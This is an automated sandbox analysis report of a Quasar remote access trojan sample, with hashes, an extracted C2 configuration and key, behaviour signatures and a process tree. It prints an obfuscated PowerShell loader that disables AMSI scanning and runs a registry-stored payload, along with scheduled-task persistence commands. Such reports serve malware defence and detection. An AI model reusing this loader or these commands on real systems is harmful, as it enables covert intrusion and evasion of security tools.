quasar | 347776cb31b6dfbb5a5cbb39e617b3913b8af8a0a826468b7e0df3b4738fc184

Reason

Machine shutdown: "{\"level\":\"info\",\"time\":\"2024-04-21T16:57:31Z\",\"message\":\"Dirty snapshot: /var/lib/sandbox/hatchvm/win11-20240412-en/instance_3-dirty.qcow2\"}"

General

Target

Update.exe
Size

409KB
MD5

ed68b64af85a06a4d3edfb0eedbd5a00
SHA1

668dbc4990b0a1cdd2f0c254f41b539e9b69afc1
SHA256

347776cb31b6dfbb5a5cbb39e617b3913b8af8a0a826468b7e0df3b4738fc184
SHA512

7555b7ff4534f0549f35f14b47f8a75509801e4c87e3740aaae20cf6c291b1e17e8a4f833e05d73e2a39471e93a63b75d5513e999850a840ac58a38d656990be
SSDEEP

6144:nrBdTMOznI2U/rgSuXfh+8sopVpkG9YiLLLKItKbFrJCBzzFd3MI:oynI2UeXfh+X+5YiPLKItwyRd3MI

Score

10^/10

quasar slave spyware trojan

Malware Config

Extracted

Family

quasar

Version

3.1.5

Botnet

SLAVE

C2

147.185.221.19:33587

Mutex

$Sxr-GdUyI5k46zQj7thBLl

Attributes

encryption_key
y0X14czHxU2CjCZoALAD
install_name
BiosUpdX64.exe
log_directory
$sxr
reconnect_delay
3000
startup_key
$sxr-metsha
subdirectory
Windows

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/3360-0-0x0000000000690000-0x00000000006FC000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe	family_quasar

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1184 created 636 1184 powershell.EXE winlogon.exe
Executes dropped EXE 2 IoCs

Processes:

BiosUpdX64.exeInstall.exe

pid process

4356 BiosUpdX64.exe
2140 Install.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

5 raw.githubusercontent.com
8 raw.githubusercontent.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

1 ip-api.com

description	pid	process	target process
PID 1184 created 636	1184	powershell.EXE	winlogon.exe

pid	process
4356	BiosUpdX64.exe
2140	Install.exe

flow	ioc
5	raw.githubusercontent.com
8	raw.githubusercontent.com

flow	ioc
1	ip-api.com

Drops file in System32 directory 2 IoCs

Processes:

powershell.EXE

description	ioc	process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.EXE

description pid process target process

PID 1184 set thread context of 232 1184 powershell.EXE dllhost.exe
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeSCHTASKS.exe

pid process

5064 schtasks.exe
1436 schtasks.exe
1940 SCHTASKS.exe

description	pid	process	target process
PID 1184 set thread context of 232	1184	powershell.EXE	dllhost.exe

pid	process
5064	schtasks.exe
1436	schtasks.exe
1940	SCHTASKS.exe

Modifies data under HKEY_USERS 41 IoCs

Processes:

powershell.EXE

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.EXEdllhost.exe

pid process

1184 powershell.EXE
1184 powershell.EXE
1184 powershell.EXE
232 dllhost.exe
232 dllhost.exe
232 dllhost.exe
232 dllhost.exe
Suspicious behavior: LoadsDriver 13 IoCs

Processes:

pid process

276
1796
4496
1240
3208
3012
4156
3220
848
4712
4692
2544
1956

pid	process
1184	powershell.EXE
1184	powershell.EXE
1184	powershell.EXE
232	dllhost.exe
232	dllhost.exe
232	dllhost.exe
232	dllhost.exe

pid	process
276
1796
4496
1240
3208
3012
4156
3220
848
4712
4692
2544
1956

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

Update.exeBiosUpdX64.exepowershell.EXEdllhost.exe

description	pid	process
Token: SeDebugPrivilege	3360	Update.exe
Token: SeDebugPrivilege	4356	BiosUpdX64.exe
Token: SeDebugPrivilege	1184	powershell.EXE
Token: SeDebugPrivilege	1184	powershell.EXE
Token: SeDebugPrivilege	232	dllhost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

BiosUpdX64.exe

pid process

4356 BiosUpdX64.exe

pid	process
4356	BiosUpdX64.exe

Suspicious use of WriteProcessMemory 61 IoCs

Processes:

Update.exeBiosUpdX64.exepowershell.EXEdllhost.exelsass.exesvchost.exe

description	pid	process	target process
PID 3360 wrote to memory of 5064	3360	Update.exe	schtasks.exe
PID 3360 wrote to memory of 5064	3360	Update.exe	schtasks.exe
PID 3360 wrote to memory of 5064	3360	Update.exe	schtasks.exe
PID 3360 wrote to memory of 4356	3360	Update.exe	BiosUpdX64.exe
PID 3360 wrote to memory of 4356	3360	Update.exe	BiosUpdX64.exe
PID 3360 wrote to memory of 4356	3360	Update.exe	BiosUpdX64.exe
PID 4356 wrote to memory of 1436	4356	BiosUpdX64.exe	schtasks.exe
PID 4356 wrote to memory of 1436	4356	BiosUpdX64.exe	schtasks.exe
PID 4356 wrote to memory of 1436	4356	BiosUpdX64.exe	schtasks.exe
PID 3360 wrote to memory of 2140	3360	Update.exe	Install.exe
PID 3360 wrote to memory of 2140	3360	Update.exe	Install.exe
PID 3360 wrote to memory of 2140	3360	Update.exe	Install.exe
PID 3360 wrote to memory of 1940	3360	Update.exe	SCHTASKS.exe
PID 3360 wrote to memory of 1940	3360	Update.exe	SCHTASKS.exe
PID 3360 wrote to memory of 1940	3360	Update.exe	SCHTASKS.exe
PID 1184 wrote to memory of 232	1184	powershell.EXE	dllhost.exe
PID 1184 wrote to memory of 232	1184	powershell.EXE	dllhost.exe
PID 1184 wrote to memory of 232	1184	powershell.EXE	dllhost.exe
PID 1184 wrote to memory of 232	1184	powershell.EXE	dllhost.exe
PID 1184 wrote to memory of 232	1184	powershell.EXE	dllhost.exe
PID 1184 wrote to memory of 232	1184	powershell.EXE	dllhost.exe
PID 1184 wrote to memory of 232	1184	powershell.EXE	dllhost.exe
PID 1184 wrote to memory of 232	1184	powershell.EXE	dllhost.exe
PID 232 wrote to memory of 636	232	dllhost.exe	winlogon.exe
PID 232 wrote to memory of 692	232	dllhost.exe	lsass.exe
PID 692 wrote to memory of 2632	692	lsass.exe	sysmon.exe
PID 692 wrote to memory of 2632	692	lsass.exe	sysmon.exe
PID 232 wrote to memory of 992	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 424	232	dllhost.exe	dwm.exe
PID 232 wrote to memory of 752	232	dllhost.exe	svchost.exe
PID 692 wrote to memory of 2632	692	lsass.exe	sysmon.exe
PID 232 wrote to memory of 988	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1112	232	dllhost.exe	svchost.exe
PID 692 wrote to memory of 2632	692	lsass.exe	sysmon.exe
PID 232 wrote to memory of 1120	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1144	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1204	232	dllhost.exe	svchost.exe
PID 692 wrote to memory of 2632	692	lsass.exe	sysmon.exe
PID 232 wrote to memory of 1280	232	dllhost.exe	svchost.exe
PID 692 wrote to memory of 2632	692	lsass.exe	sysmon.exe
PID 232 wrote to memory of 1328	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1348	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1404	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1548	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1596	232	dllhost.exe	svchost.exe
PID 1404 wrote to memory of 2896	1404	svchost.exe	sihost.exe
PID 1404 wrote to memory of 2896	1404	svchost.exe	sihost.exe
PID 232 wrote to memory of 1604	232	dllhost.exe	svchost.exe
PID 1404 wrote to memory of 2200	1404	svchost.exe	sihost.exe
PID 1404 wrote to memory of 2200	1404	svchost.exe	sihost.exe
PID 232 wrote to memory of 1692	232	dllhost.exe	svchost.exe
PID 1404 wrote to memory of 4008	1404	svchost.exe	sihost.exe
PID 1404 wrote to memory of 4008	1404	svchost.exe	sihost.exe
PID 1404 wrote to memory of 4684	1404	svchost.exe	sihost.exe
PID 1404 wrote to memory of 4684	1404	svchost.exe	sihost.exe
PID 232 wrote to memory of 1708	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1752	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1804	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1836	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1844	232	dllhost.exe	svchost.exe
PID 232 wrote to memory of 1876	232	dllhost.exe	svchost.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:636

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:424

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{f3750ad9-4cb9-4570-85df-1316516c3e38}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:232

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:988

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1112

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1144

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:dkHxaQajWUoP{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$toYBvSKjiFyQNf,[Parameter(Position=1)][Type]$eJNycSawTL)$ploQdXZbGcn=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+''+[Char](101)+''+[Char](108)+'e'+[Char](103)+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+''+'M'+''+[Char](101)+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+''+'o'+''+[Char](100)+''+[Char](117)+''+'l'+''+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'el'+[Char](101)+''+[Char](103)+'a'+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+'e',''+[Char](67)+''+[Char](108)+''+'a'+''+'s'+''+[Char](115)+''+[Char](44)+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+''+','+''+'S'+''+[Char](101)+''+[Char](97)+'l'+'e'+'d'+','+''+[Char](65)+''+'n'+''+[Char](115)+''+'i'+''+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s,'+'A'+'u'+'t'+'o'+[Char](67)+''+[Char](108)+''+'a'+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$ploQdXZbGcn.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+'p'+[Char](101)+''+[Char](99)+'i'+[Char](97)+''+'l'+''+[Char](78)+''+[Char](97)+'me'+[Char](44)+'H'+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+'y'+''+'S'+''+'i'+''+'g'+','+[Char](80)+''+'u'+''+'b'+''+[Char](108)+'i'+'c'+'',[Reflection.CallingConventions]::Standard,$toYBvSKjiFyQNf).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+''+[Char](116)+'i'+[Char](109)+''+[Char](101)+''+[Char](44)+''+'M'+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$ploQdXZbGcn.DefineMethod(''+[Char](73)+''+[Char](110)+''+'v'+''+'o'+'k'+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+','+[Char](72)+''+'i'+''+[Char](100)+''+'e'+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+[Char](103)+',New'+'S'+'l'+[Char](111)+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+'i'+'r'+[Char](116)+''+'u'+''+'a'+''+[Char](108)+'',$eJNycSawTL,$toYBvSKjiFyQNf).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+'m'+'e'+[Char](44)+'M'+'a'+'n'+'a'+''+'g'+''+[Char](101)+''+[Char](100)+'');Write-Output $ploQdXZbGcn.CreateType();}$vdfGKxhSRgIdm=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+[Char](105)+''+'c'+''+[Char](114)+''+[Char](111)+''+'s'+''+[Char](111)+''+'f'+''+[Char](116)+''+[Char](46)+'W'+[Char](105)+''+[Char](110)+'32.'+[Char](85)+'n'+[Char](115)+''+'a'+''+[Char](102)+''+'e'+''+[Char](78)+'a'+[Char](116)+'i'+'v'+''+[Char](101)+''+'M'+''+'e'+''+[Char](116)+''+[Char](104)+''+[Char](111)+'d'+[Char](115)+'');$MPhmvvMOIWPknf=$vdfGKxhSRgIdm.GetMethod(''+[Char](71)+''+[Char](101)+'t'+[Char](80)+'r'+[Char](111)+'cA'+[Char](100)+''+[Char](100)+'r'+'e'+''+'s'+''+'s'+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+'ic,'+[Char](83)+'t'+[Char](97)+'tic'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$xcBBlrHkZQgOuJVwnEf=dkHxaQajWUoP @([String])([IntPtr]);$lmTagmsJIsIKYNJSfXguzp=dkHxaQajWUoP @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MygKAgHSIAI=$vdfGKxhSRgIdm.GetMethod(''+'G'+'e'+[Char](116)+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+'e'+''+'H'+''+[Char](97)+''+[Char](110)+''+'d'+''+[Char](108)+''+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'er'+'n'+''+'e'+''+'l'+''+'3'+''+[Char](50)+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'')));$FtOBSJilgmdiHq=$MPhmvvMOIWPknf.Invoke($Null,@([Object]$MygKAgHSIAI,[Object](''+[Char](76)+''+[Char](111)+''+'a'+'d'+[Char](76)+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+[Char](114)+'yA')));$hxHiGCAlumGduKPMH=$MPhmvvMOIWPknf.Invoke($Null,@([Object]$MygKAgHSIAI,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+'a'+'l'+'P'+''+[Char](114)+'o'+[Char](116)+''+[Char](101)+'c'+'t'+'')));$zTsVPuE=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($FtOBSJilgmdiHq,$xcBBlrHkZQgOuJVwnEf).Invoke(''+'a'+'m'+[Char](115)+''+[Char](105)+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'');$dhZDBSqVfIxjhRxuZ=$MPhmvvMOIWPknf.Invoke($Null,@([Object]$zTsVPuE,[Object]('A'+[Char](109)+'s'+'i'+'Sc'+[Char](97)+''+'n'+'B'+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+[Char](114)+'')));$WiQVmzucRK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hxHiGCAlumGduKPMH,$lmTagmsJIsIKYNJSfXguzp).Invoke($dhZDBSqVfIxjhRxuZ,[uint32]8,4,[ref]$WiQVmzucRK);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$dhZDBSqVfIxjhRxuZ,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($hxHiGCAlumGduKPMH,$lmTagmsJIsIKYNJSfXguzp).Invoke($dhZDBSqVfIxjhRxuZ,[uint32]8,0x20,[ref]$WiQVmzucRK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+''+'T'+''+[Char](87)+''+[Char](65)+''+[Char](82)+'E').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1184

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1204

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1280

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1328

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1348

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
- Suspicious use of WriteProcessMemory
PID:1404

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2896

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2200

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:4008

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:4684

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1548

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1596

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1604

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1804

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1836

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1844

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1876

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2632

C:\Users\Admin\AppData\Local\Temp\Update.exe
"C:\Users\Admin\AppData\Local\Temp\Update.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3360

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-metsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\Update.exe" /rl HIGHEST /f
2⤵
- Creates scheduled task(s)
PID:5064

C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe
"C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe"
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4356

C:\Windows\SysWOW64\schtasks.exe
"schtasks" /create /tn "$sxr-metsha" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe" /rl HIGHEST /f
3⤵
- Creates scheduled task(s)
PID:1436

C:\Users\Admin\AppData\Local\Temp\Install.exe
"C:\Users\Admin\AppData\Local\Temp\Install.exe"
2⤵
- Executes dropped EXE
PID:2140

C:\Windows\SysWOW64\SCHTASKS.exe
"SCHTASKS.exe" /create /tn "$77Update.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\Update.exe'" /sc onlogon /rl HIGHEST
2⤵
- Creates scheduled task(s)
PID:1940

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Scheduled Task/Job

1

T1053

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Install.exe
Filesize
162KB

MD5
152e3f07bbaf88fb8b097ba05a60df6e

SHA1
c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

SHA256
a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

SHA512
2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

Download Submit
C:\Users\Admin\AppData\Roaming\Windows\BiosUpdX64.exe
Filesize
409KB

MD5
ed68b64af85a06a4d3edfb0eedbd5a00

SHA1
668dbc4990b0a1cdd2f0c254f41b539e9b69afc1

SHA256
347776cb31b6dfbb5a5cbb39e617b3913b8af8a0a826468b7e0df3b4738fc184

SHA512
7555b7ff4534f0549f35f14b47f8a75509801e4c87e3740aaae20cf6c291b1e17e8a4f833e05d73e2a39471e93a63b75d5513e999850a840ac58a38d656990be

Download Submit
C:\Windows\Temp\__PSScriptPolicyTest_jgltipz3.wkf.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/232-40-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/232-47-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/232-51-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/232-41-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/232-48-0x00007FFE7E040000-0x00007FFE7E249000-memory.dmp

Filesize
2.0MB

Download
memory/232-125-0x00007FFE7E040000-0x00007FFE7E249000-memory.dmp

Filesize
2.0MB

Download
memory/232-50-0x00007FFE7CF80000-0x00007FFE7D03D000-memory.dmp

Filesize
756KB

Download
memory/232-43-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/232-39-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/424-136-0x00007FFE7E0E3000-0x00007FFE7E0E4000-memory.dmp

Filesize
4KB

Download
memory/424-91-0x0000025521850000-0x000002552187B000-memory.dmp

Filesize
172KB

Download
memory/424-142-0x00007FFE7E0E6000-0x00007FFE7E0E7000-memory.dmp

Filesize
4KB

Download
memory/636-55-0x0000028453EE0000-0x0000028453F0B000-memory.dmp

Filesize
172KB

Download
memory/636-66-0x00007FFE7E0E4000-0x00007FFE7E0E5000-memory.dmp

Filesize
4KB

Download
memory/636-65-0x0000028453EE0000-0x0000028453F0B000-memory.dmp

Filesize
172KB

Download
